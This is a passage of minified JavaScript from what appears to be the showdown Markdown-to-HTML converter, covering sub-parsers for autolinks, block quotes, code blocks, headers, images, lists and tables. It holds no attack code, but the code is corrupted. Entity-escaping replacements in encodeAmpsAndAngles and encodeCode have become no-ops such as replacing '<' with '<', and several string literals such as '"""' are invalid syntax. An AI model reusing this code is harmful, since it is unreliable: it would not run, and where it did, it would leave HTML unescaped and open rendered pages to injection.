D,B,F=/([*~_]+|\b)(((https?|ftp|dict):\/\/|www\.)[^'">\s]+?\.[^'">\s]+?)()(\1)?(?=\s|$)(?!["<>])/gi,P=/([*~_]+|\b)(((https?|ftp|dict):\/\/|www\.)[^'">\s]+\.[^'">\s]+?)([.!?,()\[\]])?(\1)?(?=\s|$)(?!["<>])/gi,$=/()<(((https?|ftp|dict):\/\/|www\.)[^'">\s]+)()>()/gi,H=/(^|\s)(?:mailto:)?([A-Za-z0-9!#$%&'*+-/=?^_`{|}~.]+@[-a-z0-9]+(\.[-a-z0-9]+)*\.[a-z]+)(?=$|\s)/gim,U=/<()(?:mailto:)?([-.\w]+@[-a-z0-9]+(\.[-a-z0-9]+)*\.[a-z]+)>/gi,z=function z(p){return function(e,t,n,r,a,o,i){var s=n=n.replace(_.helper.regexes.asteriskDashAndColon,_.helper.escapeCharactersCallback),l="",c="",d=t||"",f=i||"";return/^www\./i.test(n)&&(n=n.replace(/^www\./i,"http://www.")),p.excludeTrailingPunctuationFromURLs&&o&&(l=o),p.openLinksInNewWindow&&(c=' rel="noopener noreferrer" target="\xa8E95Eblank"'),d+'<a href="'+n+'"'+c+">"+s+"</a>"+l+f}},K=function K(a,o){return function(e,t,n){var r="mailto:";return t=t||"",n=_.subParser("unescapeSpecialChars")(n,a,o),a.encodeEmails?(r=_.helper.encodeEmailAddress(r+n),n=_.helper.encodeEmailAddress(n)):r+=n,t+'<a href="'+r+'">'+n+"</a>"}};return _.subParser("autoLinks",function(e,t,n){return e=(e=(e=n.converter._dispatch("autoLinks.before",e,t,n)).replace($,z(t))).replace(U,K(t,n)),e=n.converter._dispatch("autoLinks.after",e,t,n)}),_.subParser("simplifiedAutoLinks",function(e,t,n){return t.simplifiedAutoLink?(e=n.converter._dispatch("simplifiedAutoLinks.before",e,t,n),e=(e=t.excludeTrailingPunctuationFromURLs?e.replace(P,z(t)):e.replace(F,z(t))).replace(H,K(t,n)),e=n.converter._dispatch("simplifiedAutoLinks.after",e,t,n)):e}),_.subParser("blockGamut",function(e,t,n){return e=n.converter._dispatch("blockGamut.before",e,t,n),e=_.subParser("blockQuotes")(e,t,n),e=_.subParser("headers")(e,t,n),e=_.subParser("horizontalRule")(e,t,n),e=_.subParser("lists")(e,t,n),e=_.subParser("codeBlocks")(e,t,n),e=_.subParser("tables")(e,t,n),e=_.subParser("hashHTMLBlocks")(e,t,n),e=_.subParser("paragraphs")(e,t,n),e=n.converter._dispatch("blockGamut.after",e,t,n)}),_.subParser("blockQuotes",function(e,t,n){e=n.converter._dispatch("blockQuotes.before",e,t,n),e+="\n\n";var r=/(^ {0,3}>[ \t]?.+\n(.+\n)*\n*)+/gm;return t.splitAdjacentBlockquotes&&(r=/^ {0,3}>[\s\S]*?(?:\n\n)/gm),e=e.replace(r,function(e){return e=(e=(e=e.replace(/^[ \t]*>[ \t]?/gm,"")).replace(/\xa80/g,"")).replace(/^[ \t]+$/gm,""),e=_.subParser("githubCodeBlocks")(e,t,n),e=(e=(e=_.subParser("blockGamut")(e,t,n)).replace(/(^|\n)/g,"$1 ")).replace(/(\s*<pre>[^\r]+?<\/pre>)/gm,function(e,t){var n=t;return n=(n=n.replace(/^ {2}/gm,"\xa80")).replace(/\xa80/g,"")}),_.subParser("hashBlock")("<blockquote>\n"+e+"\n</blockquote>",t,n)}),e=n.converter._dispatch("blockQuotes.after",e,t,n)}),_.subParser("codeBlocks",function(e,i,s){e=s.converter._dispatch("codeBlocks.before",e,i,s);return e=(e=(e+="\xa80").replace(/(?:\n\n|^)((?:(?:[ ]{4}|\t).*\n+)+)(\n*[ ]{0,3}[^ \t\n]|(?=\xa80))/g,function(e,t,n){var r=t,a=n,o="\n";return r=_.subParser("outdent")(r,i,s),r=_.subParser("encodeCode")(r,i,s),r=(r=(r=_.subParser("detab")(r,i,s)).replace(/^\n+/g,"")).replace(/\n+$/g,""),i.omitExtraWLInCodeBlocks&&(o=""),r="<pre><code>"+r+o+"</code></pre>",_.subParser("hashBlock")(r,i,s)+a})).replace(/\xa80/,""),e=s.converter._dispatch("codeBlocks.after",e,i,s)}),_.subParser("codeSpans",function(e,o,i){return void 0===(e=i.converter._dispatch("codeSpans.before",e,o,i))&&(e=""),e=e.replace(/(^|[^\\])(`+)([^\r]*?[^`])\2(?!`)/gm,function(e,t,n,r){var a=r;return a=(a=a.replace(/^([ \t]*)/g,"")).replace(/[ \t]*$/g,""),a=t+"<code>"+(a=_.subParser("encodeCode")(a,o,i))+"</code>",a=_.subParser("hashHTMLSpans")(a,o,i)}),e=i.converter._dispatch("codeSpans.after",e,o,i)}),_.subParser("completeHTMLDocument",function(e,t,n){if(!t.completeHTMLDocument)return e;e=n.converter._dispatch("completeHTMLDocument.before",e,t,n);var r="html",a="<!DOCTYPE HTML>\n",o="",i='<meta charset="utf-8">\n',s="",l="";for(var c in"undefined"!=typeof n.metadata.parsed.doctype&&(a="<!DOCTYPE "+n.metadata.parsed.doctype+">\n","html"!==(r=n.metadata.parsed.doctype.toString().toLowerCase())&&"html5"!==r||(i='<meta charset="utf-8">')),n.metadata.parsed)if(n.metadata.parsed.hasOwnProperty(c))switch(c.toLowerCase()){case"doctype":break;case"title":o="<title>"+n.metadata.parsed.title+"</title>\n";break;case"charset":i="html"===r||"html5"===r?'<meta charset="'+n.metadata.parsed.charset+'">\n':'<meta name="charset" content="'+n.metadata.parsed.charset+'">\n';break;case"language":case"lang":s=' lang="'+n.metadata.parsed[c]+'"',l+='<meta name="'+c+'" content="'+n.metadata.parsed[c]+'">\n';break;default:l+='<meta name="'+c+'" content="'+n.metadata.parsed[c]+'">\n'}return e=a+"<html"+s+">\n<head>\n"+o+i+l+"</head>\n<body>\n"+e.trim()+"\n</body>\n</html>",e=n.converter._dispatch("completeHTMLDocument.after",e,t,n)}),_.subParser("detab",function(e,t,n){return e=(e=(e=(e=(e=(e=n.converter._dispatch("detab.before",e,t,n)).replace(/\t(?=\t)/g," ")).replace(/\t/g,"\xa8A\xa8B")).replace(/\xa8B(.+?)\xa8A/g,function(e,t){for(var n=t,r=4-n.length%4,a=0;a<r;a++)n+=" ";return n})).replace(/\xa8A/g," ")).replace(/\xa8B/g,""),e=n.converter._dispatch("detab.after",e,t,n)}),_.subParser("ellipsis",function(e,t,n){return e=(e=n.converter._dispatch("ellipsis.before",e,t,n)).replace(/\.\.\./g,"\u2026"),e=n.converter._dispatch("ellipsis.after",e,t,n)}),_.subParser("emoji",function(e,t,n){if(!t.emoji)return e;return e=(e=n.converter._dispatch("emoji.before",e,t,n)).replace(/:([\S]+?):/g,function(e,t){return _.helper.emojis.hasOwnProperty(t)?_.helper.emojis[t]:e}),e=n.converter._dispatch("emoji.after",e,t,n)}),_.subParser("encodeAmpsAndAngles",function(e,t,n){return e=(e=(e=(e=(e=n.converter._dispatch("encodeAmpsAndAngles.before",e,t,n)).replace(/&(?!#?[xX]?(?:[0-9a-fA-F]+|\w+);)/g,"&")).replace(/<(?![a-z\/?$!])/gi,"<")).replace(/</g,"<")).replace(/>/g,">"),e=n.converter._dispatch("encodeAmpsAndAngles.after",e,t,n)}),_.subParser("encodeBackslashEscapes",function(e,t,n){return e=(e=(e=n.converter._dispatch("encodeBackslashEscapes.before",e,t,n)).replace(/\\(\\)/g,_.helper.escapeCharactersCallback)).replace(/\\([`*_{}\[\]()>#+.!~=|-])/g,_.helper.escapeCharactersCallback),e=n.converter._dispatch("encodeBackslashEscapes.after",e,t,n)}),_.subParser("encodeCode",function(e,t,n){return e=(e=n.converter._dispatch("encodeCode.before",e,t,n)).replace(/&/g,"&").replace(/</g,"<").replace(/>/g,">").replace(/([*_{}\[\]\\=~-])/g,_.helper.escapeCharactersCallback),e=n.converter._dispatch("encodeCode.after",e,t,n)}),_.subParser("escapeSpecialCharsWithinTagAttributes",function(e,t,n){return e=(e=(e=n.converter._dispatch("escapeSpecialCharsWithinTagAttributes.before",e,t,n)).replace(/<\/?[a-z\d_:-]+(?:[\s]+[\s\S]+?)?>/gi,function(e){return e.replace(/(.)<\/?code>(?=.)/g,"$1`").replace(/([\\`*_~=|])/g,_.helper.escapeCharactersCallback)})).replace(/<!(--(?:(?:[^>-]|-[^>])(?:[^-]|-[^-])*)--)>/gi,function(e){return e.replace(/([\\`*_~=|])/g,_.helper.escapeCharactersCallback)}),e=n.converter._dispatch("escapeSpecialCharsWithinTagAttributes.after",e,t,n)}),_.subParser("githubCodeBlocks",function(e,o,i){return o.ghCodeBlocks?(e=i.converter._dispatch("githubCodeBlocks.before",e,o,i),e=(e=(e+="\xa80").replace(/(?:^|\n)(?: {0,3})(```+|~~~+)(?: *)([^\s`~]*)\n([\s\S]*?)\n(?: {0,3})\1/g,function(e,t,n,r){var a=o.omitExtraWLInCodeBlocks?"":"\n";return r=_.subParser("encodeCode")(r,o,i),r="<pre><code"+(n?' class="'+n+" language-"+n+'"':"")+">"+(r=(r=(r=_.subParser("detab")(r,o,i)).replace(/^\n+/g,"")).replace(/\n+$/g,""))+a+"</code></pre>",r=_.subParser("hashBlock")(r,o,i),"\n\n\xa8G"+(i.ghCodeBlocks.push({text:e,codeblock:r})-1)+"G\n\n"})).replace(/\xa80/,""),i.converter._dispatch("githubCodeBlocks.after",e,o,i)):e}),_.subParser("hashBlock",function(e,t,n){return e=(e=n.converter._dispatch("hashBlock.before",e,t,n)).replace(/(^\n+|\n+$)/g,""),e="\n\n\xa8K"+(n.gHtmlBlocks.push(e)-1)+"K\n\n",e=n.converter._dispatch("hashBlock.after",e,t,n)}),_.subParser("hashCodeTags",function(e,o,i){e=i.converter._dispatch("hashCodeTags.before",e,o,i);var s=function s(e,t,n,r){var a=n+_.subParser("encodeCode")(t,o,i)+r;return"\xa8C"+(i.gHtmlSpans.push(a)-1)+"C"};return e=_.helper.replaceRecursiveRegExp(e,s,"<code\\b[^>]*>","</code>","gim"),e=i.converter._dispatch("hashCodeTags.after",e,o,i)}),_.subParser("hashElement",function(e,t,r){return function(e,t){var n=t;return n=(n=(n=n.replace(/\n\n/g,"\n")).replace(/^\n/,"")).replace(/\n+$/g,""),n="\n\n\xa8K"+(r.gHtmlBlocks.push(n)-1)+"K\n\n"}}),_.subParser("hashHTMLBlocks",function(e,t,o){e=o.converter._dispatch("hashHTMLBlocks.before",e,t,o);var n=["pre","div","h1","h2","h3","h4","h5","h6","blockquote","table","dl","ol","ul","script","noscript","form","fieldset","iframe","math","style","section","header","footer","nav","article","aside","address","audio","canvas","figure","hgroup","output","video","p"],i=function i(e,t,n,r){var a=e;return-1!==n.search(/\bmarkdown\b/)&&(a=n+o.converter.makeHtml(t)+r),"\n\n\xa8K"+(o.gHtmlBlocks.push(a)-1)+"K\n\n"};t.backslashEscapesHTMLTags&&(e=e.replace(/\\<(\/?[^>]+?)>/g,function(e,t){return"<"+t+">"}));for(var r=0;r<n.length;++r)for(var a,s=new RegExp("^ {0,3}(<"+n[r]+"\\b[^>]*>)","im"),l="<"+n[r]+"\\b[^>]*>",c="</"+n[r]+">";-1!==(a=_.helper.regexIndexOf(e,s));){var d=_.helper.splitAtIndex(e,a),f=_.helper.replaceRecursiveRegExp(d[1],i,l,c,"im");if(f===d[1])break;e=d[0].concat(f)}return e=e.replace(/(\n {0,3}(<(hr)\b([^<>])*?\/?>)[ \t]*(?=\n{2,}))/g,_.subParser("hashElement")(e,t,o)),e=(e=_.helper.replaceRecursiveRegExp(e,function(e){return"\n\n\xa8K"+(o.gHtmlBlocks.push(e)-1)+"K\n\n"},"^ {0,3}\x3c!--","--\x3e","gm")).replace(/(?:\n\n)( {0,3}(?:<([?%])[^\r]*?\2>)[ \t]*(?=\n{2,}))/g,_.subParser("hashElement")(e,t,o)),e=o.converter._dispatch("hashHTMLBlocks.after",e,t,o)}),_.subParser("hashHTMLSpans",function(e,t,n){function r(e){return"\xa8C"+(n.gHtmlSpans.push(e)-1)+"C"}return e=(e=(e=(e=(e=n.converter._dispatch("hashHTMLSpans.before",e,t,n)).replace(/<[^>]+?\/>/gi,function(e){return r(e)})).replace(/<([^>]+?)>[\s\S]*?<\/\1>/g,function(e){return r(e)})).replace(/<([^>]+?)\s[^>]+?>[\s\S]*?<\/\1>/g,function(e){return r(e)})).replace(/<[^>]+?>/gi,function(e){return r(e)}),e=n.converter._dispatch("hashHTMLSpans.after",e,t,n)}),_.subParser("unhashHTMLSpans",function(e,t,n){e=n.converter._dispatch("unhashHTMLSpans.before",e,t,n);for(var r=0;r<n.gHtmlSpans.length;++r){for(var a=n.gHtmlSpans[r],o=0;/\xa8C(\d+)C/.test(a);){var i=RegExp.$1;if(a=a.replace("\xa8C"+i+"C",n.gHtmlSpans[i]),10===o)break;++o}e=e.replace("\xa8C"+r+"C",a)}return e=n.converter._dispatch("unhashHTMLSpans.after",e,t,n)}),_.subParser("hashPreCodeTags",function(e,o,i){e=i.converter._dispatch("hashPreCodeTags.before",e,o,i);var s=function s(e,t,n,r){var a=n+_.subParser("encodeCode")(t,o,i)+r;return"\n\n\xa8G"+(i.ghCodeBlocks.push({text:e,codeblock:a})-1)+"G\n\n"};return e=_.helper.replaceRecursiveRegExp(e,s,"^ {0,3}<pre\\b[^>]*>\\s*<code\\b[^>]*>","^ {0,3}</code>\\s*</pre>","gim"),e=i.converter._dispatch("hashPreCodeTags.after",e,o,i)}),_.subParser("headers",function(e,l,c){e=c.converter._dispatch("headers.before",e,l,c);var d=isNaN(parseInt(l.headerLevelStart))?1:parseInt(l.headerLevelStart),t=l.smoothLivePreview?/^(.+)[ \t]*\n={2,}[ \t]*\n+/gm:/^(.+)[ \t]*\n=+[ \t]*\n+/gm,n=l.smoothLivePreview?/^(.+)[ \t]*\n-{2,}[ \t]*\n+/gm:/^(.+)[ \t]*\n-+[ \t]*\n+/gm;e=(e=e.replace(t,function(e,t){var n=_.subParser("spanGamut")(t,l,c),r=l.noHeaderId?"":' id="'+f(t)+'"',a="<h"+d+r+">"+n+"</h"+d+">";return _.subParser("hashBlock")(a,l,c)})).replace(n,function(e,t){var n=_.subParser("spanGamut")(t,l,c),r=l.noHeaderId?"":' id="'+f(t)+'"',a=d+1,o="<h"+a+r+">"+n+"</h"+a+">";return _.subParser("hashBlock")(o,l,c)});var r=l.requireSpaceBeforeHeadingText?/^(#{1,6})[ \t]+(.+?)[ \t]*#*\n+/gm:/^(#{1,6})[ \t]*(.+?)[ \t]*#*\n+/gm;function f(e){var t,n;if(l.customizedHeaderId){var r=e.match(/\{([^{]+?)}\s*$/);r&&r[1]&&(e=r[1])}return t=e,n=_.helper.isString(l.prefixHeaderId)?l.prefixHeaderId:!0===l.prefixHeaderId?"section-":"",l.rawPrefixHeaderId||(t=n+t),t=l.ghCompatibleHeaderId?t.replace(/ /g,"-").replace(/&/g,"").replace(/\xa8T/g,"").replace(/\xa8D/g,"").replace(/[&+$,\/:;=?@"#{}|^\xa8~\[\]`\\*)(%.!'<>]/g,"").toLowerCase():l.rawHeaderId?t.replace(/ /g,"-").replace(/&/g,"&").replace(/\xa8T/g,"\xa8").replace(/\xa8D/g,"$").replace(/["']/g,"-").toLowerCase():t.replace(/[^\w]/g,"").toLowerCase(),l.rawPrefixHeaderId&&(t=n+t),c.hashLinkCounts[t]?t=t+"-"+c.hashLinkCounts[t]++:c.hashLinkCounts[t]=1,t}return e=e.replace(r,function(e,t,n){var r=n;l.customizedHeaderId&&(r=n.replace(/\s?\{([^{]+?)}\s*$/,""));var a=_.subParser("spanGamut")(r,l,c),o=l.noHeaderId?"":' id="'+f(n)+'"',i=d-1+t.length,s="<h"+i+o+">"+a+"</h"+i+">";return _.subParser("hashBlock")(s,l,c)}),e=c.converter._dispatch("headers.after",e,l,c)}),_.subParser("horizontalRule",function(e,t,n){e=n.converter._dispatch("horizontalRule.before",e,t,n);var r=_.subParser("hashBlock")("<hr />",t,n);return e=(e=(e=e.replace(/^ {0,2}( ?-){3,}[ \t]*$/gm,r)).replace(/^ {0,2}( ?\*){3,}[ \t]*$/gm,r)).replace(/^ {0,2}( ?_){3,}[ \t]*$/gm,r),e=n.converter._dispatch("horizontalRule.after",e,t,n)}),_.subParser("images",function(e,t,p){function l(e,t,n,r,a,o,i,s){var l=p.gUrls,c=p.gTitles,d=p.gDimensions;if(n=n.toLowerCase(),s||(s=""),-1<e.search(/\(<?\s*>? ?(['"].*['"])?\)$/m))r="";else if(""===r||null===r){if(""!==n&&null!==n||(n=t.toLowerCase().replace(/ ?\n/g," ")),r="#"+n,_.helper.isUndefined(l[n]))return e;r=l[n],_.helper.isUndefined(c[n])||(s=c[n]),_.helper.isUndefined(d[n])||(a=d[n].width,o=d[n].height)}t=t.replace(/"/g,""").replace(_.helper.regexes.asteriskDashAndColon,_.helper.escapeCharactersCallback);var f='<img src="'+(r=r.replace(_.helper.regexes.asteriskDashAndColon,_.helper.escapeCharactersCallback))+'" alt="'+t+'"';return s&&_.helper.isString(s)&&(f+=' title="'+(s=s.replace(/"/g,""").replace(_.helper.regexes.asteriskDashAndColon,_.helper.escapeCharactersCallback))+'"'),a&&o&&(f+=' width="'+(a="*"===a?"auto":a)+'"',f+=' height="'+(o="*"===o?"auto":o)+'"'),f+=" />"}return e=(e=(e=(e=(e=(e=p.converter._dispatch("images.before",e,t,p)).replace(/!\[([^\]]*?)] ?(?:\n *)?\[([\s\S]*?)]()()()()()/g,l)).replace(/!\[([^\]]*?)][ \t]*()\([ \t]?<?(data:.+?\/.+?;base64,[A-Za-z0-9+/=\n]+?)>?(?: =([*\d]+[A-Za-z%]{0,4})x([*\d]+[A-Za-z%]{0,4}))?[ \t]*(?:(["'])([^"]*?)\6)?[ \t]?\)/g,function c(e,t,n,r,a,o,i,s){return l(e,t,n,r=r.replace(/\s/g,""),a,o,0,s)})).replace(/!\[([^\]]*?)][ \t]*()\([ \t]?<([^>]*)>(?: =([*\d]+[A-Za-z%]{0,4})x([*\d]+[A-Za-z%]{0,4}))?[ \t]*(?:(?:(["'])([^"]*?)\6))?[ \t]?\)/g,l)).replace(/!\[([^\]]*?)][ \t]*()\([ \t]?<?([\S]+?(?:\([\S]*?\)[\S]*?)?)>?(?: =([*\d]+[A-Za-z%]{0,4})x([*\d]+[A-Za-z%]{0,4}))?[ \t]*(?:(["'])([^"]*?)\6)?[ \t]?\)/g,l)).replace(/!\[([^\[\]]+)]()()()()()/g,l),e=p.converter._dispatch("images.after",e,t,p)}),_.subParser("italicsAndBold",function(e,t,n){function r(e,t,n){return t+e+n}return e=n.converter._dispatch("italicsAndBold.before",e,t,n),e=t.literalMidWordUnderscores?(e=(e=e.replace(/\b___(\S[\s\S]*?)___\b/g,function(e,t){return r(t,"<strong><em>","</em></strong>")})).replace(/\b__(\S[\s\S]*?)__\b/g,function(e,t){return r(t,"<strong>","</strong>")})).replace(/\b_(\S[\s\S]*?)_\b/g,function(e,t){return r(t,"<em>","</em>")}):(e=(e=e.replace(/___(\S[\s\S]*?)___/g,function(e,t){return/\S$/.test(t)?r(t,"<strong><em>","</em></strong>"):e})).replace(/__(\S[\s\S]*?)__/g,function(e,t){return/\S$/.test(t)?r(t,"<strong>","</strong>"):e})).replace(/_([^\s_][\s\S]*?)_/g,function(e,t){return/\S$/.test(t)?r(t,"<em>","</em>"):e}),e=t.literalMidWordAsterisks?(e=(e=e.replace(/([^*]|^)\B\*\*\*(\S[\s\S]*?)\*\*\*\B(?!\*)/g,function(e,t,n){return r(n,t+"<strong><em>","</em></strong>")})).replace(/([^*]|^)\B\*\*(\S[\s\S]*?)\*\*\B(?!\*)/g,function(e,t,n){return r(n,t+"<strong>","</strong>")})).replace(/([^*]|^)\B\*(\S[\s\S]*?)\*\B(?!\*)/g,function(e,t,n){return r(n,t+"<em>","</em>")}):(e=(e=e.replace(/\*\*\*(\S[\s\S]*?)\*\*\*/g,function(e,t){return/\S$/.test(t)?r(t,"<strong><em>","</em></strong>"):e})).replace(/\*\*(\S[\s\S]*?)\*\*/g,function(e,t){return/\S$/.test(t)?r(t,"<strong>","</strong>"):e})).replace(/\*([^\s*][\s\S]*?)\*/g,function(e,t){return/\S$/.test(t)?r(t,"<em>","</em>"):e}),e=n.converter._dispatch("italicsAndBold.after",e,t,n)}),_.subParser("lists",function(e,p,d){function u(e,t){d.gListLevel++,e=e.replace(/\n{2,}$/,"\n");var n=/(\n)?(^ {0,3})([*+-]|\d+[.])[ \t]+((\[(x|X| )?])?[ \t]*[^\r]+?(\n{1,2}))(?=\n*(\xa80| {0,3}([*+-]|\d+[.])[ \t]+))/gm,c=/\n[ \t]*\n(?!\xa80)/.test(e+="\xa80");return p.disableForced4SpacesIndentedSublists&&(n=/(\n)?(^ {0,3})([*+-]|\d+[.])[ \t]+((\[(x|X| )?])?[ \t]*[^\r]+?(\n{1,2}))(?=\n*(\xa80|\2([*+-]|\d+[.])[ \t]+))/gm),e=(e=e.replace(n,function(e,t,n,r,a,o,i){i=i&&""!==i.trim();var s=_.subParser("outdent")(a,p,d),l="";return o&&p.tasklists&&(l=' class="task-list-item" style="list-style-type: none;"',s=s.replace(/^[ \t]*\[(x|X| )?]/m,function(){var e='<input type="checkbox" disabled style="margin: 0px 0.35em 0.25em -1.6em; vertical-align: middle;"';return i&&(e+=" checked"),e+=">"})),s=s.replace(/^([-*+]|\d\.)[ \t]+[\S\n ]*/g,function(e){return"\xa8A"+e}),s="<li"+l+">"+(s=(s=t||-1<s.search(/\n{2,}/)?(s=_.subParser("githubCodeBlocks")(s,p,d),_.subParser("blockGamut")(s,p,d)):(s=(s=_.subParser("lists")(s,p,d)).replace(/\n$/,""),s=(s=_.subParser("hashHTMLBlocks")(s,p,d)).replace(/\n\n+/g,"\n\n"),c?_.subParser("paragraphs")(s,p,d):_.subParser("spanGamut")(s,p,d))).replace("\xa8A",""))+"</li>\n"})).replace(/\xa80/g,""),d.gListLevel--,t&&(e=e.replace(/\s+$/,"")),e}function h(e,t){if("ol"===t){var n=e.match(/^ *(\d+)\./);if(n&&"1"!==n[1])return' start="'+n[1]+'"'}return""}function g(e){return"ul"===e?' style="list-style: disc !important;padding: 0px 0px 0px 40px !important;"':' style="list-style: decimal !important;padding: 0px 0px 0px 40px !important;"'}function a(r,a,o){var i=p.disableForced4SpacesIndentedSublists?/^ ?\d+\.[ \t]/gm:/^ {0,3}\d+\.[ \t]/gm,s=p.disableForced4SpacesIndentedSublists?/^ ?[*+-][ \t]/gm:/^ {0,3}[*+-][ \t]/gm,l="ul"===a?i:s,c="",d=g(a);if(-1!==r.search(l))!function f(e){var t=e.search(l),n=h(r,a);d=g(a),-1!==t?(c+="\n\n<"+a+d+n+">\n"+u(e.slice(0,t),!!o)+"</"+a+">\n",l="ul"===(a="ul"===a?"ol":"ul")?i:s,f(e.slice(t))):c+="\n\n<"+a+d+n+">\n"+u(e,!!o)+"</"+a+">\n"}(r);else{var e=h(r,a);c="\n\n<"+a+d+e+">\n"+u(r,!!o)+"</"+a+">\n"}return c}return e=d.converter._dispatch("lists.before",e,p,d),e+="\xa80",e=(e=d.gListLevel?e.replace(/^(( {0,3}([*+-]|\d+[.])[ \t]+)[^\r]+?(\xa80|\n{2,}(?=\S)(?![ \t]*(?:[*+-]|\d+[.])[ \t]+)))/gm,function(e,t,n){return a(t,-1<n.search(/[*+-]/g)?"ul":"ol",!0)}):e.replace(/(\n\n|^\n?)(( {0,3}([*+-]|\d+[.])[ \t]+)[^\r]+?(\xa80|\n{2,}(?=\S)(?![ \t]*(?:[*+-]|\d+[.])[ \t]+)))/gm,function(e,t,n,r){return a(n,-1<r.search(/[*+-]/g)?"ul":"ol",!1)})).replace(/\xa80/,""),e=d.converter._dispatch("lists.after",e,p,d)}),_.subParser("metadata",function(e,t,r){if(!t.metadata)return e;function a(e){(e=(e=(r.metadata.raw=e).replace(/&/g,"&").replace(/"/g,""")).replace(/\n {4}/g," ")).replace(/^([\S ]+): +([\s\S]+?)$/gm,function(e,t,n){return r.metadata.parsed[t]=n,""})}return e=(e=(e=(e=r.converter._dispatch("metadata.before",e,t,r)).replace(/^\s*\xab\xab\xab+(\S*?)\n([\s\S]+?)\n\xbb\xbb\xbb+\n/,function(e,t,n){return a(n),"\xa8M"})).replace(/^\s*---+(\S*?)\n([\s\S]+?)\n---+\n/,function(e,t,n){return t&&(r.metadata.format=t),a(n),"\xa8M"})).replace(/\xa8M/g,""),e=r.converter._dispatch("metadata.after",e,t,r)}),_.subParser("outdent",function(e,t,n){return e=(e=(e=n.converter._dispatch("outdent.before",e,t,n)).replace(/^(\t|[ ]{1,4})/gm,"\xa80")).replace(/\xa80/g,""),e=n.converter._dispatch("outdent.after",e,t,n)}),_.subParser("paragraphs",function(e,t,n){for(var r=(e=(e=(e=n.converter._dispatch("paragraphs.before",e,t,n)).replace(/^\n+/g,"")).replace(/\n+$/g,"")).split(/\n{2,}/g),a=[],o=r.length,i=0;i<o;i++){var s=r[i];0<=s.search(/\xa8(K|G)(\d+)\1/g)?a.push(s):0<=s.search(/\S/)&&(s=(s=_.subParser("spanGamut")(s,t,n)).replace(/^([ \t]*)/g,"<p>"),s+="</p>",a.push(s))}for(o=a.length,i=0;i<o;i++){for(var l="",c=a[i],d=!1;/\xa8(K|G)(\d+)\1/.test(c);){var f=RegExp.$1,p=RegExp.$2;l=(l="K"===f?n.gHtmlBlocks[p]:d?_.subParser("encodeCode")(n.ghCodeBlocks[p].text,t,n):n.ghCodeBlocks[p].codeblock).replace(/\$/g,"$$$$"),c=c.replace(/(\n\n)?\xa8(K|G)\d+\2(\n\n)?/,l),/^<pre\b[^>]*>\s*<code\b[^>]*>/.test(c)&&(d=!0)}a[i]=c}return e=(e=(e=a.join("\n")).replace(/^\n+/g,"")).replace(/\n+$/g,""),n.converter._dispatch("paragraphs.after",e,t,n)}),_.subParser("runExtension",function(e,t,n,r){if(e.filter)t=e.filter(t,r.converter,n);else if(e.regex){var a=e.regex;a instanceof RegExp||(a=new RegExp(a,"g")),t=t.replace(a,e.replace)}return t}),_.subParser("spanGamut",function(e,t,n){return e=n.converter._dispatch("spanGamut.before",e,t,n),e=_.subParser("codeSpans")(e,t,n),e=_.subParser("escapeSpecialCharsWithinTagAttributes")(e,t,n),e=_.subParser("encodeBackslashEscapes")(e,t,n),e=_.subParser("images")(e,t,n),e=_.subParser("anchors")(e,t,n),e=_.subParser("autoLinks")(e,t,n),e=_.subParser("simplifiedAutoLinks")(e,t,n),e=_.subParser("emoji")(e,t,n),e=_.subParser("underline")(e,t,n),e=_.subParser("italicsAndBold")(e,t,n),e=_.subParser("strikethrough")(e,t,n),e=_.subParser("ellipsis")(e,t,n),e=_.subParser("hashHTMLSpans")(e,t,n),e=_.subParser("encodeAmpsAndAngles")(e,t,n),t.simpleLineBreaks?/\n\n\xa8K/.test(e)||(e=e.replace(/\n+/g,"<br />\n")):e=e.replace(/ +\n/g,"<br />\n"),e=n.converter._dispatch("spanGamut.after",e,t,n)}),_.subParser("strikethrough",function(e,r,a){return r.strikethrough&&(e=(e=a.converter._dispatch("strikethrough.before",e,r,a)).replace(/(?:~){2}([\s\S]+?)(?:~){2}/g,function(e,t){return function n(e){return r.simplifiedAutoLink&&(e=_.subParser("simplifiedAutoLinks")(e,r,a)),"<del>"+e+"</del>"}(t)}),e=a.converter._dispatch("strikethrough.after",e,r,a)),e}),_.subParser("stripLinkDefinitions",function(e,s,l){var c=function c(e,t,n,r,a,o,i){return t=t.toLowerCase(),n.match(/^data:.+?\/.+?;base64,/)?l.gUrls[t]=n.replace(/\s/g,""):l.gUrls[t]=_.subParser("encodeAmpsAndAngles")(n,s,l),o?o+i:(i&&(l.gTitles[t]=i.replace(/"|'/g,""")),s.parseImgDimensions&&r&&a&&(l.gDimensions[t]={width:r,height:a}),"")};return e=(e=(e=(e+="\xa80").replace(/^ {0,3}\[(.+)]:[ \t]*\n?[ \t]*<?(data:.+?\/.+?;base64,[A-Za-z0-9+/=\n]+?)>?(?: =([*\d]+[A-Za-z%]{0,4})x([*\d]+[A-Za-z%]{0,4}))?[ \t]*\n?[ \t]*(?:(\n*)["|'(](.+?)["|')][ \t]*)?(?:\n\n|(?=\xa80)|(?=\n\[))/gm,c)).replace(/^ {0,3}\[(.+)]:[ \t]*\n?[ \t]*<?([^>\s]+)>?(?: =([*\d]+[A-Za-z%]{0,4})x([*\d]+[A-Za-z%]{0,4}))?[ \t]*\n?[ \t]*(?:(\n*)["|'(](.+?)["|')][ \t]*)?(?:\n+|(?=\xa80))/gm,c)).replace(/\xa80/,"")}),_.subParser("tables",function(e,v,b){if(!v.tables)return e;function t(e){var t,n=e.split("\n");for(t=0;t<n.length;++t)/^ {0,3}\|/.test(n[t])&&(n[t]=n[t].replace(/^ {0,3}\|/,"")),/\|[ \t]*$/.test(n[t])&&(n[t]=n[t].replace(/\|[ \t]*$/,"")),n[t]=_.subParser("codeSpans")(n[t],v,b);var r,a,o,i,s,l=n[0].split("|").map(function(e){return e.trim()}),c=n[1].split("|").map(function(e){return e.trim()}),d=[],f=[],p=[],u=[];for(n.shift(),n.shift(),t=0;t<n.length;++t)""!==n[t].trim()&&d.push(n[t].split("|").map(function(e){return e.trim()}));if(l.length<c.length)return e;for(t=0;t<c.length;++t)p.push((r=c[t],/^:[ \t]*--*$/.test(r)?' style="text-align:left;"':/^--*[ \t]*:[ \t]*$/.test(r)?' style="text-align:right;"':/^:[ \t]*--*[ \t]*:$/.test(r)?' style="text-align:center;"':""));for(t=0;t<l.length;++t)_.helper.isUndefined(p[t])&&(p[t]=""),f.push((a=l[t],o=p[t],i=void 0,i="",a=a.trim(),(v.tablesHeaderId||v.tableHeaderId)&&(i=' id="'+a.replace(/ /g,"_").toLowerCase()+'"'),"<th"+i+o+">"+(a=_.subParser("spanGamut")(a,v,b))+"</th>\n"));for(t=0;t<d.length;++t){for(var 